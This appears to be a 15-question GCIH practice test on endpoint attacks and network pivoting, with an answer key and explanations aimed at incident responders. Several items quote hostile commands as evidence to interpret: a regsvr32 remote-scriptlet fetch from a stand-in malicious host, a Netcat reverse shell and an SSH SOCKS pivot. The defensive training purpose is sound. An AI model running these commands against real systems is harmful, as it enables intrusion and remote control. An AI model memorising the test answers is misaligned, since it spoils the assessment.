GCIH Endpoint Attack and Pivoting Practice Test 2 — 15 Questions

Question 1

An attacker has compromised a Linux host and is pivoting using a SOCKS proxy. Which tool is most commonly utilized for this purpose in a cross-platform environment?

Accepted Answer

Chisel. Chisel is a fast, TCP/UDP tunnel over HTTP, secured via SSH, that is widely used for creating SOCKS proxies. Its ease of use and ability to bypass firewalls make it a favorite for attackers. Incident responders must understand how to detect Chisel traffic, which often mimics standard HTTPS traffic, by inspecting packet sizes and connection duration patterns.

Answer

Netcat

Answer

Tcpdump

Answer

Wget

Question 2

Why are 'Pass-the-Hash' (PtH) attacks effective for pivoting in a Windows environment?

Accepted Answer

Because NTLM authentication does not require the password itself.. PtH attacks leverage the NTLM hash directly to authenticate, bypassing the need for the plaintext password. Because Windows stores these hashes in LSASS for single-sign-on capabilities, an attacker who gains administrative rights can extract them and reuse them to access other systems in the domain. This is a fundamental risk in environments where users have local admin rights on their workstations.

Answer

Because they force a password reset on the target.

Answer

Because they only work on Linux-based domain controllers.

Answer

Because the hash is always encrypted with AES-256.

Question 3

Which of the following describes the 'SMB Relay' attack during lateral movement?

Accepted Answer

Intercepting authentication and relaying it to another machine.. SMB Relay works by intercepting a client's authentication request (SMB) and forwarding it to another target machine. If the client has sufficient privileges, the attacker gains access to the target without ever needing the user's password. This attack is particularly dangerous in environments without SMB signing enabled, as it allows for easy lateral movement through man-in-the-middle positioning within the local network segment.

Answer

Encrypting files on the network share.

Answer

Sending flood packets to crash the SMB service.

Answer

Replacing the SMB.exe binary with a malicious version.

Question 4

What is the primary function of the 'Token Manipulation' technique in Windows pivoting?

Accepted Answer

To impersonate another user's security context.. Token manipulation involves stealing an access token from a process running as a different user (e.g., SYSTEM or an Administrator) and using it to spawn a new process. This allows the attacker to elevate their privileges or move laterally as a different user. Understanding this technique is vital for incident handlers because it explains how attackers maintain high-level access without knowing user passwords.

Answer

To hide files in a hidden directory.

Answer

To bypass user authentication prompts.

Answer

To encrypt the memory of a running process.

Question 5

An incident responder investigating a compromised Windows workstation discovers that an attacker established persistent command and control using a malicious DLL. The DLL was placed in a system directory and loaded by a legitimate, signed Microsoft binary through DLL search order hijacking. Which response action effectively remediates the persistence while preserving the legitimate binary and minimizing host downtime?

Accepted Answer

Locate and securely delete the rogue malicious DLL file from the search path while preserving the legitimate signed binary and auditing registry permissions.. Identifying and removing the malicious payload while keeping the legitimate application intact is critical for operational continuity during incident response. DLL search order hijacking exploits how Windows searches for dependent libraries. Replacing or removing the unauthorized payload neutralizes the execution vector without requiring a full OS reinstallation, allowing investigators to focus on lateral movement and containment.

Answer

Reimage the compromised workstation immediately to ensure all hidden artifacts and registry hooks are completely removed from the operating system.

Answer

Delete the legitimate signed Microsoft binary that loaded the malicious payload to prevent any further execution attempts by the operating system.

Answer

Modify the Windows Registry to disable the DLL loading subsystem entirely across the domain to prevent all future instances of search order hijacking.

Question 6

An incident handler is analyzing a Windows endpoint where an adversary successfully executed a living-off-the-land binary (LotLB) to establish an unauthorized tunnel and pivot deeper into the internal network. Which TWO forensic artifacts should the analyst examine to reconstruct the command-line arguments and parent-child process creation chain associated with this execution? (Choose TWO)

Accepted Answer

Windows Security Event Log ID 4688 with advanced command-line auditing enabled. Reconstructing process execution lineages requires capturing volatile process trees and detailed argument strings. Windows Security Event Log ID 4688, when command-line auditing is enabled, records the exact parameters passed to binaries. Additionally, memory analysis tools inspect unswapped physical RAM to recover remnants of terminated process execution blocks, making these two sources vital for handling advanced adversary tradecraft.

Answer

Windows System Event Log ID 7045 tracking installed services

Answer

Dynamic Host Configuration Protocol (DHCP) operational logs

Answer

Internet Information Services (IIS) W3C web server access logs

Question 7

During an investigation of a compromised Windows 10 workstation, you observe the following command executed by a user process: `regsvr32.exe /s /u /i:https://malicious.example/payload.sct scrobj.dll`. The user has no legitimate reason to run regsvr32. Which attack technique is this command most indicative of?

Accepted Answer

Squiblydoo. The command uses regsvr32.exe with the /i: parameter to load a remote scriptlet from a URL, a technique known as Squiblydoo. This bypasses application whitelisting because regsvr32 is a trusted, signed binary. The attacker leverages this to execute code without writing a persistent executable to disk, making detection challenging.

Answer

COM hijacking via registry modification

Answer

DLL hijacking through a malicious scrobj.dll

Answer

AppLocker bypass via msbuild.exe

Question 8

During an incident response on a Windows 10 endpoint, you observe that a malicious process has injected a thread into a remote process on the same host using the CreateRemoteThread API. The injected code is now executing in the context of a legitimate system process. Which of the following best describes the primary purpose of this technique from the attacker's perspective?

Accepted Answer

To evade detection by masquerading malicious code within a trusted process.. Injecting a thread into a remote process using CreateRemoteThread enables an adversary to execute arbitrary code within the address space of a trusted process. This helps evade detection because many security solutions allowlist or trust system processes. The technique does not inherently escalate privileges, create network tunnels, or dump credentials, making the evasion-focused description the correct one.

Answer

To harvest credentials from the LSASS process memory.

Answer

To establish a covert channel over DNS for command and control.

Answer

To escalate privileges by exploiting a vulnerable driver in the kernel.

Question 9

An incident responder is examining a compromised Windows 10 workstation that an attacker used to pivot into the internal network. The responder runs `netstat -ano` and sees an established connection from the workstation to an internal server on TCP port 445, but no user has mapped a drive or accessed a share. Which of the following Windows artifacts would BEST reveal the remote service or process that initiated this SMB connection?

Accepted Answer

Sysmon Event ID 3 (network connection detected). Sysmon Event ID 3 captures network connection events with the initiating process image, source and destination IPs, and ports. On the compromised workstation, this event directly links the SMB connection to a specific executable or service, which is exactly what the responder needs. Other artifacts either reside on the remote server, lack process context, or do not record network activity.

Answer

Windows Security event ID 4624 with logon type 3

Answer

Security event ID 5140 (network share object was accessed)

Answer

Prefetch file for the executable that made the connection

Question 10

A security analyst is reviewing logs from a compromised Linux server and notices that an attacker has created a reverse shell using Netcat. The command executed was: nc -e /bin/bash 192.168.1.100 4444. Which of the following best describes the attacker's objective?

Accepted Answer

To establish an interactive command shell on the compromised server.. Netcat with the -e option executes a specified program and binds its standard input/output to the network connection. When combined with /bin/bash and a remote IP/port, it creates a reverse shell that connects back to the attacker, providing interactive command execution. This is a classic post-exploitation technique for maintaining access and pivoting.

Answer

To scan the remote host for open ports.

Answer

To download additional tools from the remote host.

Answer

To exfiltrate sensitive files from the server to the remote host.

Question 11

During an investigation, you discover that an attacker used the Windows utility 'schtasks' to create a scheduled task on a compromised endpoint. The task is configured to run a malicious executable every time a user logs on. Which of the following best describes the attacker's primary goal with this action?

Accepted Answer

To maintain persistence on the compromised host.. Creating a scheduled task that runs at user logon is a classic persistence technique. It ensures the attacker's payload executes automatically after a reboot or when a user logs in, allowing the attacker to maintain a foothold. While the executable could perform other actions, the primary goal of the scheduled task is to establish persistence.

Answer

To escalate privileges by running the executable as SYSTEM.

Answer

To exfiltrate data to an external command and control server.

Answer

To disable antivirus software on the endpoint.

Question 12

An attacker has compromised a Windows host and established a reverse shell using a malicious DLL loaded by a legitimate signed executable via DLL search order hijacking. The incident responder wants to identify the specific DLL that was hijacked and the process that loaded it. Which of the following data sources would provide the MOST direct evidence of the DLL load event and the loading process?

Accepted Answer

Sysmon Event ID 7 (Image loaded). Sysmon Event ID 7 specifically captures module load events, including the loading process image and the loaded DLL path, along with hashes. This makes it the most direct source to identify the hijacked DLL and the process that loaded it. Other sources either lack DLL load detail or are not guaranteed to log the event.

Answer

Windows Security event ID 4688 with command line auditing

Answer

Windows Defender Application Control (WDAC) event logs

Answer

Sysmon Event ID 1 (Process creation)

Question 13

An incident responder is investigating a Windows endpoint where an attacker used the Windows Management Instrumentation (WMI) event subscription mechanism to establish persistence. The responder wants to identify the specific WMI components created by the attacker. Which two of the following WMI artifacts should the responder examine to find the malicious event subscription? (Choose two.)

Accepted Answer

__EventFilter instances in the root\subscription namespace. WMI event subscription persistence consists of three components: __EventFilter, __EventConsumer, and __FilterToConsumerBinding. The filter defines the trigger, and the consumer defines the action. Examining __EventFilter and __EventConsumer instances in the root\subscription namespace will reveal the malicious subscription's details, including the trigger query and the payload executed. The other options represent different persistence mechanisms.

Answer

Win32_Service instances in the root\cimv2 namespace

Answer

MSFT_ScheduledTask instances in the root\Microsoft\Windows\TaskScheduler namespace

Answer

Win32_StartupCommand instances in the root\cimv2 namespace

Question 14

An attacker has gained access to a Linux server and wants to use it as a pivot point to scan the internal network. The attacker executes `ssh -D 1080 user@compromised-server` from their machine. Which of the following best describes the capability this provides to the attacker?

Accepted Answer

A SOCKS proxy that allows the attacker to route TCP traffic through the compromised server. The `ssh -D` command establishes a dynamic port forwarding tunnel that acts as a SOCKS proxy. The attacker can then direct tools through this proxy to scan or access internal hosts as if originating from the compromised server. It does not provide a reverse shell, file transfer, or VPN functionality; those require different SSH options or tools.

Answer

A reverse shell from the compromised server back to the attacker

Answer

An encrypted file transfer channel for exfiltrating data

Answer

A VPN tunnel that assigns the attacker an IP address on the internal network

Question 15

A compromised Windows 10 workstation has an active Meterpreter session. The responder observes that the attacker used the `portfwd` command to redirect traffic from the victim's TCP port 8080 to an internal HR server's TCP port 3389. The internal HR server is not directly reachable from the responder's analysis host. Which mechanism is the attacker leveraging to pivot into the HR server?

Accepted Answer

A TCP relay created by the Meterpreter `portfwd` command.. The `portfwd` command in Meterpreter creates a TCP relay on the compromised host, forwarding traffic from a local port to a specified remote address and port. This allows the attacker to reach internal services that are not directly accessible from their own machine, effectively using the victim as a pivot point. The other options describe different pivoting techniques that do not match the observed command.

Answer

A reverse TCP shell bound to the HR server's port 3389.

Answer

An SSH tunnel using the compromised workstation as a jump host.

Answer

A SOCKS proxy established via the Meterpreter `socks` command.